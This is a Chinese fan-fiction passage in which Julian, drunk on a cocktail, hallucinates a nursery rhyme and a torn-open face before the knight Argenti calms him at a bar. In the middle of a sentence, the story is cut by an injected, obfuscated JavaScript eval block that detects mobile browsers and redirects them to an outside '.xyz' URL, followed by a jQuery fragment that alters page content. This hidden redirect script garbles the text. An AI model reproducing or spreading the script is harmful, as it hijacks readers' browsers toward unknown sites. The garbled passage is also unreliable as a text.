尤利安蹲下身,抱住自己的头,他现在脑子很乱,乱得他有些烦,特别是耳边噪音还不停,又尖又细,鬼哭狼嚎的,吵得他不安生。 “闭嘴!”他烦躁地大吼,童谣并没有因为他的不耐烦而终止,于是他一边又一边拔高声调,试图将留声机的声音盖过。 “闭嘴闭嘴闭嘴!!!” “……大家千万别睡醒,忘掉那些苦日子。” 童谣停了。 背景音乐也消失了,尖锐的笑声也随之离去,可尤利安总觉得,那些声音还在他脑子里,像是雨夜到访的不速之客般,一遍遍敲着禁闭的大门。 但是童谣停了。 ……结束了吗。 尤利安恍惚地抬头,看见一滴冷汗从自己额头砸下,砸到地上,形成一片水洼,水面倒映出另一个自己,另一个自己脸上布满裂痕,裂痕中是一只只猩红的眼睛,随着自己的抬头一同望向水中。 ……他不是抬头了吗,为什么看见的,会是水洼中的自己。 他茫然地举起手,摸向自己的脸,可手指触碰到面部皮肤,反而是脸上传来奇怪的湿润触感,微微按压,挤出液体,液体中还有圆鼓鼓充满弹性的物体……他有些渴了。 尤利安双手用力扣在自己脸上,像划开一颗成熟到腐烂的果子般,将面上一层薄膜扯破,张开嘴,从黑暗中破壳而出,大口大口吮吸着甜蜜的汁水。 “尤利安先生?尤利安?您没事吧?” 他的脑袋重重砸在吧台上,振动连带着一排酒水从高脚杯中飞溅。 好痛! 尤利安双手捂住脑门,不用看,他都能想到那里已经肿起了一个大包。 但在此刻,他反而感激起了这份疼痛,至少它让他快速从惊悚的欢愉中抽身,恢复清醒。 “我这是……怎么了?”他直愣愣地发问。 红发骑士给他递了条手帕,担忧地看着他:“您方才在喝下苏乐达调饮后好像是喝醉了,不停喃喃自语——抱歉,没能及时发现您的异样,身为骑士,却连同伴的异样都没能发现,这是我的失职。” “……我喝酒了?”尤利安这才发现,自己面前摆着一个高脚杯,里面盛满红色液体,边上还点缀着一片新鲜薄荷叶,闻上去十分清新。 他喝酒了?他为什么会喝酒?他在喝的,原来是酒吗? 尤利安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804553|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫然地环视,发现自己坐在吧台前的高脚凳上,周围空荡荡的,除了银枝,也没有其他人。 他问道:“留声机哪里去了?” “抱歉,这里并没有什么留声机。”银枝回答着他,担忧仍未从眼中消散。 “您看上去状态非常不好,不妨留下来休息,接下来的拜访,还是让我一个人进行吧。” “我刚刚在喃喃自语?我在说什么?”尤利安完全听银枝后半段话,抓着他覆着盔甲的手臂,慌忙问道。 银枝也面露迟疑:“很抱歉,我并未听清您在说什么,只能判断出大概是在唱歌,旋律是这样的。” 他哼唱出一段小调,虽然有些走调——可能是尤利安自己的缘故——但大致还是与尤利安方才听到的童谣吻合。 那段童谣,是他自己唱出来的吗? 尤利安怔怔地松开手,迟到许久的冷静,好像在兜兜转转跑了一圈后,又回到了他的脑海中。 他想起来了,他和银枝跟着女侍者走入这个房间中,侍者说会客室还有人,希望他们稍作等候,为他们调了两杯酒,便匆匆告退,说等到上一位客人离开,会客室空出来后,再来通知他们。 自己坐下,选了枫糖浆和苏乐达混合的调饮,又往上面加了半杯白兰地,入口感觉又甜又辣,差点没吐出去,艰难咽下后神志开始不清——他喝醉了。 他喝醉了。 原来如此,他喝醉了,方才听到看到的,只是醉酒后的幻觉。 银枝忧心地望着尤利安,他看起来状态实在不好,面色惨白,一头冷汗,神情恍惚……说难听点,像是犯了轻度的惊厥。 于是,他重申了一遍:“您不妨好好休息一下,我会独自去说服奥帝先生,改变他的想法。” “……谢谢你的好意,”尤利安笑了一下,觉得自己状态尚好,“但我还是无颜让你独自为家族解决问题,请允许我同你一同前去,接受奥帝先生的拷问。” “可在此之前,可否请你给予我一个答案,纯美骑士在银河间独行许久,见识广博,或许我迟迟不解的问题,能在你这里得到答复。” 银枝颔首:“乐意至极。” “我发现自己这一段时间时常陷入幻觉——在未饮酒的状态下,说实话,我并非酒鬼,也是因为饮酒经验甚少,才会不慎选择白兰地——抱歉,扯得有些远了。” “没关系,我理解您的为难。” “谢谢,你真是一位善解人意的绅士,不愧是纯美一道的命途行者,您高贵的心灵与您的面容一样,皆是美的具象。”尤利安眼中浮现出一丝感激,继续道:“总之,我近来时常陷入幻觉,可是又找不到病因,我很确定自己身体健康……您能为我解惑吗?” 银枝沉思了一会儿,开口道:“抱歉,我也没有过多的头绪,但太久没有休息的人,大脑会向身体发出警告,让他神情恍惚,或许您也是如此。” “……太累了吗?”尤利安垂下头,喃喃自语道,“对,太累了,我只是太累了。” 他只是太久没有休息,才分不清幻觉和现实。 想通这一点,尤利安打起精神,笑道:“感谢您的解惑,在忙完这最后一段时间后,想必我就能休息一段时间了——侍者小姐在向我们招手了,我们走吧。” 阴影中,智械女士在向他们招手,铜黄色的手臂在暖色灯光下明明灭灭,亮得晃眼。